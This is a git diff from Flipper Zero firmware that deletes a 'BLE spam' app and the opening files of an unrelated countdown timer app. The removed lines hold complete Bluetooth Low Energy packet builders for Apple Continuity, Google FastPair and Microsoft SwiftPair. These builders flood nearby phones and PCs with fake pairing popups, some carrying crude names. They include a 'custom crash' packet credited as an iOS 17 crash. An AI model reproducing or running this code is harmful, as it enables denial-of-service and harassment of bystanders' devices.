- canvas_set_font(canvas, FontBatteryPercent);
- snprintf(str, sizeof(str), "%ims", delays[state->delay]);
- canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
- canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
- canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
-
- canvas_set_font(canvas, FontBatteryPercent);
- snprintf(
- str,
- sizeof(str),
- "%02i/%02i: %s",
- state->index + 1,
- ATTACK_COUNT,
- protocol ? protocol->get_name(&payload->msg) : "Everything");
- canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
-
- canvas_set_font(canvas, FontPrimary);
- canvas_draw_str(canvas, 4, 32, attack->title);
-
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 4, 46, attack->text);
-
- elements_button_center(canvas, state->advertising ? "Stop" : "Start");
- break;
- }
- }
-
- if(state->index > PAGE_MIN) {
- elements_button_left(canvas, back);
- }
- if(state->index < PAGE_MAX) {
- elements_button_right(canvas, next);
- }
-}
-
-static void input_callback(InputEvent* input, void* ctx) {
- FuriMessageQueue* input_queue = ctx;
- if(input->type == InputTypeShort || input->type == InputTypeLong ||
- input->type == InputTypeRepeat) {
- furi_message_queue_put(input_queue, input, 0);
- }
-}
-
-int32_t ble_spam(void* p) {
- UNUSED(p);
- State* state = malloc(sizeof(State));
- state->thread = furi_thread_alloc();
- furi_thread_set_callback(state->thread, adv_thread);
- furi_thread_set_context(state->thread, state);
- furi_thread_set_stack_size(state->thread, 4096);
-
- FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
- ViewPort* view_port = view_port_alloc();
- Gui* gui = furi_record_open(RECORD_GUI);
- view_port_input_callback_set(view_port, input_callback, input_queue);
- view_port_draw_callback_set(view_port, draw_callback, state);
- gui_add_view_port(gui, view_port, GuiLayerFullscreen);
-
- bool running = true;
- while(running) {
- InputEvent input;
- furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
-
- bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
- bool advertising = state->advertising;
- switch(input.key) {
- case InputKeyOk:
- if(is_attack) toggle_adv(state);
- break;
- case InputKeyUp:
- if(is_attack && state->delay < COUNT_OF(delays) - 1) {
- state->delay++;
- }
- break;
- case InputKeyDown:
- if(is_attack && state->delay > 0) {
- state->delay--;
- }
- break;
- case InputKeyLeft:
- if(state->index > PAGE_MIN) {
- if(advertising) toggle_adv(state);
- state->index--;
- }
- break;
- case InputKeyRight:
- if(state->index < PAGE_MAX) {
- if(advertising) toggle_adv(state);
- state->index++;
- }
- break;
- case InputKeyBack:
- if(advertising) toggle_adv(state);
- running = false;
- break;
- default:
- continue;
- }
-
- view_port_update(view_port);
- }
-
- gui_remove_view_port(gui, view_port);
- furi_record_close(RECORD_GUI);
- view_port_free(view_port);
- furi_message_queue_free(input_queue);
-
- furi_thread_free(state->thread);
- free(state);
- return 0;
-}
diff --git a/applications/external/ble_spam/ble_spam_10px.png b/applications/external/ble_spam/ble_spam_10px.png
deleted file mode 100644
index a204d1de5..000000000
Binary files a/applications/external/ble_spam/ble_spam_10px.png and /dev/null differ
diff --git a/applications/external/ble_spam/icons/android.png b/applications/external/ble_spam/icons/android.png
deleted file mode 100644
index efd5b28cb..000000000
Binary files a/applications/external/ble_spam/icons/android.png and /dev/null differ
diff --git a/applications/external/ble_spam/icons/apple.png b/applications/external/ble_spam/icons/apple.png
deleted file mode 100644
index 802cf5505..000000000
Binary files a/applications/external/ble_spam/icons/apple.png and /dev/null differ
diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble.png
deleted file mode 100644
index f5cf3880b..000000000
Binary files a/applications/external/ble_spam/icons/ble.png and /dev/null differ
diff --git a/applications/external/ble_spam/icons/windows.png b/applications/external/ble_spam/icons/windows.png
deleted file mode 100644
index 9b734d161..000000000
Binary files a/applications/external/ble_spam/icons/windows.png and /dev/null differ
diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h
deleted file mode 100644
index d3fbe98ff..000000000
--- a/applications/external/ble_spam/protocols/_base.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#pragma once
-
-#include
-#include
-#include
-#include
-#include "ble_spam_icons.h"
-#include
-#include
-
-typedef union BleSpamMsg BleSpamMsg;
-
-typedef struct {
- const Icon* icon;
- const char* (*get_name)(const BleSpamMsg* _msg);
- void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
-} BleSpamProtocol;
diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c
deleted file mode 100644
index 3d334fa14..000000000
--- a/applications/external/ble_spam/protocols/_registry.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include "_registry.h"
-
-const BleSpamProtocol* ble_spam_protocols[] = {
- &ble_spam_protocol_continuity,
- &ble_spam_protocol_fastpair,
- &ble_spam_protocol_swiftpair,
-};
-
-const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);
diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h
deleted file mode 100644
index 69070c356..000000000
--- a/applications/external/ble_spam/protocols/_registry.h
+++ /dev/null
@@ -1,15 +0,0 @@
-#pragma once
-
-#include "continuity.h"
-#include "fastpair.h"
-#include "swiftpair.h"
-
-union BleSpamMsg {
- ContinuityMsg continuity;
- FastpairMsg fastpair;
- SwiftpairMsg swiftpair;
-};
-
-extern const BleSpamProtocol* ble_spam_protocols[];
-
-extern const size_t ble_spam_protocols_count;
diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c
deleted file mode 100644
index ac0a2aa00..000000000
--- a/applications/external/ble_spam/protocols/continuity.c
+++ /dev/null
@@ -1,276 +0,0 @@
-#include "continuity.h"
-#include "_registry.h"
-
-// Hacked together by @Willy-JL
-// iOS 17 Crash by @ECTO-1A
-// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
-// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
-
-static const char* type_names[ContinuityTypeCount] = {
- [ContinuityTypeAirDrop] = "AirDrop",
- [ContinuityTypeProximityPair] = "Proximity Pair",
- [ContinuityTypeAirplayTarget] = "Airplay Target",
- [ContinuityTypeHandoff] = "Handoff",
- [ContinuityTypeTetheringSource] = "Tethering Source",
- [ContinuityTypeNearbyAction] = "Nearby Action",
- [ContinuityTypeNearbyInfo] = "Nearby Info",
- [ContinuityTypeCustomCrash] = "Custom Packet",
-};
-const char* continuity_get_name(const BleSpamMsg* _msg) {
- const ContinuityMsg* msg = &_msg->continuity;
- return type_names[msg->type];
-}
-
-#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
-static uint8_t packet_sizes[ContinuityTypeCount] = {
- [ContinuityTypeAirDrop] = HEADER_LEN + 18,
- [ContinuityTypeProximityPair] = HEADER_LEN + 25,
- [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
- [ContinuityTypeHandoff] = HEADER_LEN + 14,
- [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
- [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
- [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
- [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
-};
-
-void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
- const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
-
- ContinuityType type;
- if(msg) {
- type = msg->type;
- } else {
- const ContinuityType types[] = {
- ContinuityTypeProximityPair,
- ContinuityTypeNearbyAction,
- ContinuityTypeCustomCrash,
- };
- type = types[rand() % COUNT_OF(types)];
- }
-
- uint8_t size = packet_sizes[type];
- uint8_t* packet = malloc(size);
- uint8_t i = 0;
-
- packet[i++] = size - 1; // Size
- packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
- packet[i++] = 0x4C; // Company ID (Apple, Inc.)
- packet[i++] = 0x00; // ...
- packet[i++] = type; // Continuity Type
- packet[i] = size - i - 1; // Continuity Size
- i++;
-
- switch(type) {
- case ContinuityTypeAirDrop: {
- packet[i++] = 0x00; // Zeros
- packet[i++] = 0x00; // ...
- packet[i++] = 0x00; // ...
- packet[i++] = 0x00; // ...
- packet[i++] = 0x00; // ...
- packet[i++] = 0x00; // ...
- packet[i++] = 0x00; // ...
- packet[i++] = 0x00; // ...
- packet[i++] = 0x01; // Version
- packet[i++] = (rand() % 256); // AppleID
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // Phone Number
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // Email
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // Email2
- packet[i++] = (rand() % 256); // ...
- packet[i++] = 0x00; // Zero
- break;
- }
-
- case ContinuityTypeProximityPair: {
- uint16_t model;
- if(msg && msg->data.proximity_pair.model != 0x0000) {
- model = msg->data.proximity_pair.model;
- } else {
- const uint16_t models[] = {
- 0x0E20, // AirPods Pro
- 0x0620, // Beats Solo 3
- 0x0A20, // AirPods Max
- 0x1020, // Beats Flex
- 0x0055, // Airtag
- 0x0030, // Hermes Airtag
- 0x0220, // AirPods
- 0x0F20, // AirPods 2nd Gen
- 0x1320, // AirPods 3rd Gen
- 0x1420, // AirPods Pro 2nd Gen
- 0x0320, // Powerbeats 3
- 0x0B20, // Powerbeats Pro
- 0x0C20, // Beats Solo Pro
- 0x1120, // Beats Studio Buds
- 0x0520, // Beats X
- 0x0920, // Beats Studio 3
- 0x1720, // Beats Studio Pro
- 0x1220, // Beats Fit Pro
- 0x1620, // Beats Studio Buds+
- };
- model = models[rand() % COUNT_OF(models)];
- }
-
- uint8_t prefix;
- if(msg && msg->data.proximity_pair.prefix == 0x00) {
- prefix = msg->data.proximity_pair.prefix;
- } else {
- if(model == 0x0055 || model == 0x0030)
- prefix = 0x05;
- else
- prefix = 0x01;
- }
-
- packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
- packet[i++] = (model >> 0x08) & 0xFF;
- packet[i++] = (model >> 0x00) & 0xFF;
- packet[i++] = 0x55; // Status
- packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
- packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
- packet[i++] = (rand() % 256); // Lid Open Counter
- packet[i++] = 0x00; // Device Color
- packet[i++] = 0x00;
- furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
- i += 16;
- break;
- }
-
- case ContinuityTypeAirplayTarget: {
- packet[i++] = (rand() % 256); // Flags
- packet[i++] = (rand() % 256); // Configuration Seed
- packet[i++] = (rand() % 256); // IPv4 Address
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- break;
- }
-
- case ContinuityTypeHandoff: {
- packet[i++] = 0x01; // Version
- packet[i++] = (rand() % 256); // Initialization Vector
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // AES-GCM Auth Tag
- packet[i++] = (rand() % 256); // Encrypted Payload
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- break;
- }
-
- case ContinuityTypeTetheringSource: {
- packet[i++] = 0x01; // Version
- packet[i++] = (rand() % 256); // Flags
- packet[i++] = (rand() % 101); // Battery Life
- packet[i++] = 0x00; // Cell Service Type
- packet[i++] = (rand() % 8); // ...
- packet[i++] = (rand() % 5); // Cell Service Strength
- break;
- }
-
- case ContinuityTypeNearbyAction: {
- uint8_t action;
- if(msg && msg->data.nearby_action.type != 0x00) {
- action = msg->data.nearby_action.type;
- } else {
- const uint8_t actions[] = {
- 0x13, // AppleTV AutoFill
- 0x27, // AppleTV Connecting...
- 0x20, // Join This AppleTV?
- 0x19, // AppleTV Audio Sync
- 0x1E, // AppleTV Color Balance
- 0x09, // Setup New iPhone
- 0x02, // Transfer Phone Number
- 0x0B, // HomePod Setup
- 0x01, // Setup New AppleTV
- 0x06, // Pair AppleTV
- 0x0D, // HomeKit AppleTV Setup
- 0x2B, // AppleID for AppleTV?
- };
- action = actions[rand() % COUNT_OF(actions)];
- }
-
- uint8_t flag;
- if(msg && msg->data.nearby_action.flags != 0x00) {
- flag = msg->data.nearby_action.flags;
- } else {
- flag = 0xC0;
- if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
- if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
- }
-
- packet[i++] = flag; // Action Flags
- packet[i++] = action; // Action Type
- furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
- i += 3;
- break;
- }
-
- case ContinuityTypeNearbyInfo: {
- packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
- packet[i++] = (rand() % 256); // Status Flags
- packet[i++] = (rand() % 256); // Authentication Tag
- packet[i++] = (rand() % 256); // ...
- packet[i++] = (rand() % 256); // ...
- break;
- }
-
- case ContinuityTypeCustomCrash: {
- // Found by @ECTO-1A
-
- const uint8_t actions[] = {
- 0x13, // AppleTV AutoFill
- 0x27, // AppleTV Connecting...
- 0x20, // Join This AppleTV?
- 0x19, // AppleTV Audio Sync
- 0x1E, // AppleTV Color Balance
- 0x09, // Setup New iPhone
- 0x02, // Transfer Phone Number
- 0x0B, // HomePod Setup
- 0x01, // Setup New AppleTV
- 0x06, // Pair AppleTV
- 0x0D, // HomeKit AppleTV Setup
- 0x2B, // AppleID for AppleTV?
- };
- uint8_t action = actions[rand() % COUNT_OF(actions)];
-
- uint8_t flag = 0xC0;
- if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
- if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
-
- i -= 2; // Override segment header
- packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
- packet[i++] = 0x05; // Continuity Size
- packet[i++] = flag; // Action Flags
- packet[i++] = action; // Action Type
- furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
- i += 3;
-
- packet[i++] = 0x00; // Terminator (?)
- packet[i++] = 0x00; // ...
-
- packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
- furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
- i += 3;
- break;
- }
-
- default:
- break;
- }
-
- *out_size = size;
- *out_packet = packet;
-}
-
-const BleSpamProtocol ble_spam_protocol_continuity = {
- .icon = &I_apple,
- .get_name = continuity_get_name,
- .make_packet = continuity_make_packet,
-};
diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h
deleted file mode 100644
index 7e97f8425..000000000
--- a/applications/external/ble_spam/protocols/continuity.h
+++ /dev/null
@@ -1,36 +0,0 @@
-#pragma once
-#include "_base.h"
-
-// Hacked together by @Willy-JL
-// iOS 17 Crash by @ECTO-1A
-// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
-// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
-
-typedef enum {
- ContinuityTypeAirDrop = 0x05,
- ContinuityTypeProximityPair = 0x07,
- ContinuityTypeAirplayTarget = 0x09,
- ContinuityTypeHandoff = 0x0C,
- ContinuityTypeTetheringSource = 0x0E,
- ContinuityTypeNearbyAction = 0x0F,
- ContinuityTypeNearbyInfo = 0x10,
-
- ContinuityTypeCustomCrash,
- ContinuityTypeCount
-} ContinuityType;
-
-typedef struct {
- ContinuityType type;
- union {
- struct {
- uint8_t prefix;
- uint16_t model;
- } proximity_pair;
- struct {
- uint8_t flags;
- uint8_t type;
- } nearby_action;
- } data;
-} ContinuityMsg;
-
-extern const BleSpamProtocol ble_spam_protocol_continuity;
diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c
deleted file mode 100644
index 8f329492e..000000000
--- a/applications/external/ble_spam/protocols/fastpair.c
+++ /dev/null
@@ -1,68 +0,0 @@
-#include "fastpair.h"
-#include "_registry.h"
-
-// Hacked together by @Willy-JL and @Spooks4576
-// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
-
-const char* fastpair_get_name(const BleSpamMsg* _msg) {
- const FastpairMsg* msg = &_msg->fastpair;
- UNUSED(msg);
- return "FastPair";
-}
-
-void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
- const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
-
- uint32_t model_id;
- if(msg && msg->model_id != 0x000000) {
- model_id = msg->model_id;
- } else {
- const uint32_t models[] = {
- // Genuine devices
- 0xCD8256, // Bose NC 700
- 0xF52494, // JBL Buds Pro
- 0x718FA4, // JBL Live 300TWS
- 0x821F66, // JBL Flip 6
- 0x92BBBD, // Pixel Buds
-
- // Custom debug popups
- 0xAA1FE1, // ClownMaster
- 0xAA187F, // VBucks
- 0xF38C02, // Boykisser
- 0x1448C9, // BLM
- 0xD5AB33, // Xtreme
- 0x13B39D, // Talking Sasquach
- };
- model_id = models[rand() % COUNT_OF(models)];
- }
-
- uint8_t size = 14;
- uint8_t* packet = malloc(size);
- uint8_t i = 0;
-
- packet[i++] = 3; // Size
- packet[i++] = 0x03; // AD Type (Service UUID List)
- packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
- packet[i++] = 0xFE; // ...
-
- packet[i++] = 6; // Size
- packet[i++] = 0x16; // AD Type (Service Data)
- packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
- packet[i++] = 0xFE; // ...
- packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
- packet[i++] = (model_id >> 0x08) & 0xFF; // ...
- packet[i++] = (model_id >> 0x00) & 0xFF; // ...
-
- packet[i++] = 2; // Size
- packet[i++] = 0x0A; // AD Type (Tx Power Level)
- packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
-
- *out_size = size;
- *out_packet = packet;
-}
-
-const BleSpamProtocol ble_spam_protocol_fastpair = {
- .icon = &I_android,
- .get_name = fastpair_get_name,
- .make_packet = fastpair_make_packet,
-};
diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h
deleted file mode 100644
index 6555d0b6b..000000000
--- a/applications/external/ble_spam/protocols/fastpair.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#pragma once
-#include "_base.h"
-
-// Hacked together by @Willy-JL and @Spooks4576
-// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
-
-typedef struct {
- uint32_t model_id;
-} FastpairMsg;
-
-extern const BleSpamProtocol ble_spam_protocol_fastpair;
diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c
deleted file mode 100644
index 26ea203e4..000000000
--- a/applications/external/ble_spam/protocols/swiftpair.c
+++ /dev/null
@@ -1,54 +0,0 @@
-#include "swiftpair.h"
-#include "_registry.h"
-
-// Hacked together by @Willy-JL and @Spooks4576
-// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
-
-const char* swiftpair_get_name(const BleSpamMsg* _msg) {
- const SwiftpairMsg* msg = &_msg->swiftpair;
- UNUSED(msg);
- return "SwiftPair";
-}
-
-void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
- const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
-
- const char* display_name;
- if(msg && msg->display_name[0] != '\0') {
- display_name = msg->display_name;
- } else {
- const char* names[] = {
- "Assquach💦",
- "Flipper 🐬",
- "iOS 17 🍎",
- "Kink💦",
- "👉👌",
- "🔵🦷",
- };
- display_name = names[rand() % COUNT_OF(names)];
- }
- uint8_t display_name_len = strlen(display_name);
-
- uint8_t size = 7 + display_name_len;
- uint8_t* packet = malloc(size);
- uint8_t i = 0;
-
- packet[i++] = size - 1; // Size
- packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
- packet[i++] = 0x06; // Company ID (Microsoft)
- packet[i++] = 0x00; // ...
- packet[i++] = 0x03; // Microsoft Beacon ID
- packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
- packet[i++] = 0x80; // Reserved RSSI Byte
- memcpy(&packet[i], display_name, display_name_len); // Display Name
- i += display_name_len;
-
- *out_size = size;
- *out_packet = packet;
-}
-
-const BleSpamProtocol ble_spam_protocol_swiftpair = {
- .icon = &I_windows,
- .get_name = swiftpair_get_name,
- .make_packet = swiftpair_make_packet,
-};
diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h
deleted file mode 100644
index 5ded8ebf8..000000000
--- a/applications/external/ble_spam/protocols/swiftpair.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#pragma once
-#include "_base.h"
-
-// Hacked together by @Willy-JL and @Spooks4576
-// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
-
-typedef struct {
- char display_name[25];
-} SwiftpairMsg;
-
-extern const BleSpamProtocol ble_spam_protocol_swiftpair;
diff --git a/applications/external/cntdown_timer/app.c b/applications/external/cntdown_timer/app.c
deleted file mode 100644
index 5c03ea246..000000000
--- a/applications/external/cntdown_timer/app.c
+++ /dev/null
@@ -1,71 +0,0 @@
-#include "views/countdown_view.h"
-#include "app.h"
-
-static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid);
-
-int32_t app_main(void* p) {
- UNUSED(p);
-
- CountDownTimerApp* app = countdown_app_new();
-
- countdown_app_run(app);
-
- countdown_app_delete(app);
-
- return 0;
-}
-
-static uint32_t view_exit(void* ctx) {
- furi_assert(ctx);
-
- return VIEW_NONE;
-}
-
-CountDownTimerApp* countdown_app_new(void) {
- CountDownTimerApp* app = (CountDownTimerApp*)(malloc(sizeof(CountDownTimerApp)));
-
- // 1.1 open gui
- app->gui = furi_record_open(RECORD_GUI);
-
- // 2.1 setup view dispatcher
- app->view_dispatcher = view_dispatcher_alloc();
- view_dispatcher_enable_queue(app->view_dispatcher);
-
- // 2.2 attach view dispatcher to gui
- view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
-
- // 2.3 attach views to the dispatcher
- // helloworld view
- app->helloworld_view = countdown_timer_view_new();
- register_view(app->view_dispatcher, countdown_timer_view_get_view(app->helloworld_view), 0xff);
-
- // 2.5 switch to default view
- view_dispatcher_switch_to_view(app->view_dispatcher, 0xff);
-
- return app;
-}
-
-void countdown_app_delete(CountDownTimerApp* app) {
- furi_assert(app);
-
- // delete views
- view_dispatcher_remove_view(app->view_dispatcher, 0xff);
- countdown_timer_view_delete(app->helloworld_view); // hello world view
-
- // delete view dispatcher
- view_dispatcher_free(app->view_dispatcher);
- furi_record_close(RECORD_GUI);
-
- // self
- free(app);
-}
-
-void countdown_app_run(CountDownTimerApp* app) {
- view_dispatcher_run(app->view_dispatcher);
-}
-
-static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid) {
- view_dispatcher_add_view(dispatcher, viewid, view);
-
- view_set_previous_callback(view, view_exit);
-}
diff --git a/applications/external/cntdown_timer/app.h b/applications/external/cntdown_timer/app.h
deleted file mode 100644
index 413b3dbbf..000000000
--- a/applications/external/cntdown_timer/app.h
+++ /dev/null
@@ -1,22 +0,0 @@
-#ifndef __APP_H__
-#define __APP_H__
-
-#include
-#include
-#include
-
-// app
-typedef struct {
- Gui* gui; // gui object
- ViewDispatcher* view_dispatcher; // view dispacther of the gui
-
- // views
- CountDownTimView* helloworld_view;
-
-} CountDownTimerApp;
-
-CountDownTimerApp* countdown_app_new(void);
-void countdown_app_delete(CountDownTimerApp* app);
-void countdown_app_run(CountDownTimerApp* app);
-
-#endif
\ No newline at end of file
diff --git a/applications/external/cntdown_timer/application.fam b/applications/external/cntdown_timer/application.fam
deleted file mode 100644
index 79a08423e..000000000
--- a/applications/external/cntdown_timer/application.fam
+++ /dev/null
@@ -1,19 +0,0 @@
-# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
-
-App(
- appid="cntdown_tim",
- name="Count Down Timer",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="app_main",
- cdefines=["APP_COUNT_DOWN_TIMER"],
- requires=[
- "gui",
- ],
- stack_size=2 * 1024,
- fap_icon="cntdown_timer.png",
- fap_category="Tools",
- fap_author="@0w0mewo",
- fap_weburl="https://github.com/0w0mewo/fpz_cntdown_timer",
- fap_version="1.1",
- fap_description="Simple count down timer",
-)
diff --git a/applications/external/cntdown_timer/cntdown_timer.png b/applications/external/cntdown_timer/cntdown_timer.png
deleted file mode 100644
index b25c2718e..000000000
Binary files a/applications/external/cntdown_timer/cntdown_timer.png and /dev/null differ
diff --git a/applications/external/cntdown_timer/utils/utils.c b/applications/external/cntdown_timer/utils/utils.c
deleted file mode 100644
index 8ce82f1c6..000000000
--- a/applications/external/cntdown_timer/utils/utils.c
+++ /dev/null
@@ -1,34 +0,0 @@
-#include
-#include "utils.h"
-
-static const NotificationSequence sequence_beep = {
- &message_blue_255,
- &message_note_d5,
- &message_delay_100,
- &message_sound_off,
-
- NULL,
-};
-
-void notification_beep_once() {
- notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_beep);
- notification_off();
-}
-
-void notification_off() {
- furi_record_close(RECORD_NOTIFICATION);
-}
-
-void notification_timeup() {
- notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_audiovisual_alert);
-}
-
-void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec) {
- snprintf(
- buffer,
- len,
- "%02ld:%02ld:%02ld",
- (sec % (60 * 60 * 24)) / (60 * 60), // hour
- (sec % (60 * 60)) / 60, // minute
- sec % 60); // second
-}
diff --git a/applications/external/cntdown_timer/utils/utils.h b/applications/external/cntdown_timer/utils/utils.h
deleted file mode 100644
index 814e16222..000000000
--- a/applications/external/cntdown_timer/utils/utils.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#ifndef __UTILS_H__
-#define __UTILS_H__
-#include
-#include
-
-void notification_beep_once();
-void notification_off();
-void notification_timeup();
-
-void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec);
-
-#endif // __UTILS_H__
\ No newline at end of file
diff --git a/applications/external/cntdown_timer/views/countdown_view.c b/applications/external/cntdown_timer/views/countdown_view.c
deleted file mode 100644
index 94e53ac55..000000000
--- a/applications/external/cntdown_timer/views/countdown_view.c
+++ /dev/null
@@ -1,349 +0,0 @@
-#include "countdown_view.h"
-#include "../utils/utils.h"
-
-// internal
-static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd);
-static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd);
-static void handle_time_setting_select(InputKey key, CountDownTimView* cdv);
-static void draw_selection(Canvas* canvas, CountDownViewSelect selection);
-
-static void countdown_timer_start_counting(CountDownTimView* cdv);
-static void countdown_timer_pause_counting(CountDownTimView* cdv);
-
-// callbacks
-static void countdown_timer_view_on_enter(void* ctx);
-static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx);
-static bool countdown_timer_view_on_input(InputEvent* event, void* ctx);
-static void timer_cb(void* ctx);
-
-CountDownTimView* countdown_timer_view_new() {
- CountDownTimView* cdv = (CountDownTimView*)(malloc(sizeof(CountDownTimView)));
-
- cdv->view = view_alloc();
-
- cdv->timer = furi_timer_alloc(timer_cb, FuriTimerTypePeriodic, cdv);
-
- cdv->counting = false;
-
- view_set_context(cdv->view, cdv);
-
- view_allocate_model(cdv->view, ViewModelTypeLocking, sizeof(CountDownModel));
-
- view_set_draw_callback(cdv->view, countdown_timer_view_on_draw);
- view_set_input_callback(cdv->view, countdown_timer_view_on_input);
- view_set_enter_callback(cdv->view, countdown_timer_view_on_enter);
-
- return cdv;
-}
-
-void countdown_timer_view_delete(CountDownTimView* cdv) {
- furi_assert(cdv);
-
- view_free(cdv->view);
- furi_timer_stop(cdv->timer);
- furi_timer_free(cdv->timer);
-
- free(cdv);
-}
-
-View* countdown_timer_view_get_view(CountDownTimView* cdv) {
- return cdv->view;
-}
-
-void countdown_timer_view_state_reset(CountDownTimView* cdv) {
- cdv->counting = false;
-
- with_view_model(
- cdv->view, CountDownModel * model, { model->count = model->saved_count_setting; }, true)
-}
-
-void countdown_timer_state_toggle(CountDownTimView* cdv) {
- bool on = cdv->counting;
- if(!on) {
- countdown_timer_start_counting(cdv);
- } else {
- countdown_timer_pause_counting(cdv);
- }
-
- cdv->counting = !on;
-}
-
-// on enter callback, CountDownTimView as ctx
-static void countdown_timer_view_on_enter(void* ctx) {
- furi_assert(ctx);
-
- CountDownTimView* cdv = (CountDownTimView*)ctx;
-
- // set current count to a initial value
- with_view_model(
- cdv->view,
- CountDownModel * model,
- {
- model->count = INIT_COUNT;
- model->saved_count_setting = INIT_COUNT;
- },
- true);
-}
-
-// view draw callback, CountDownModel as ctx
-static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx) {
- furi_assert(ctx);
- CountDownModel* model = (CountDownModel*)ctx;
-
- char buffer[64];
-
- int32_t count = model->count;
- int32_t expected_count = model->saved_count_setting;
-
- CountDownViewSelect select = model->select;
-
- // elements_frame(canvas, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT);
-
- canvas_set_font(canvas, FontBigNumbers);
- draw_selection(canvas, select);
-
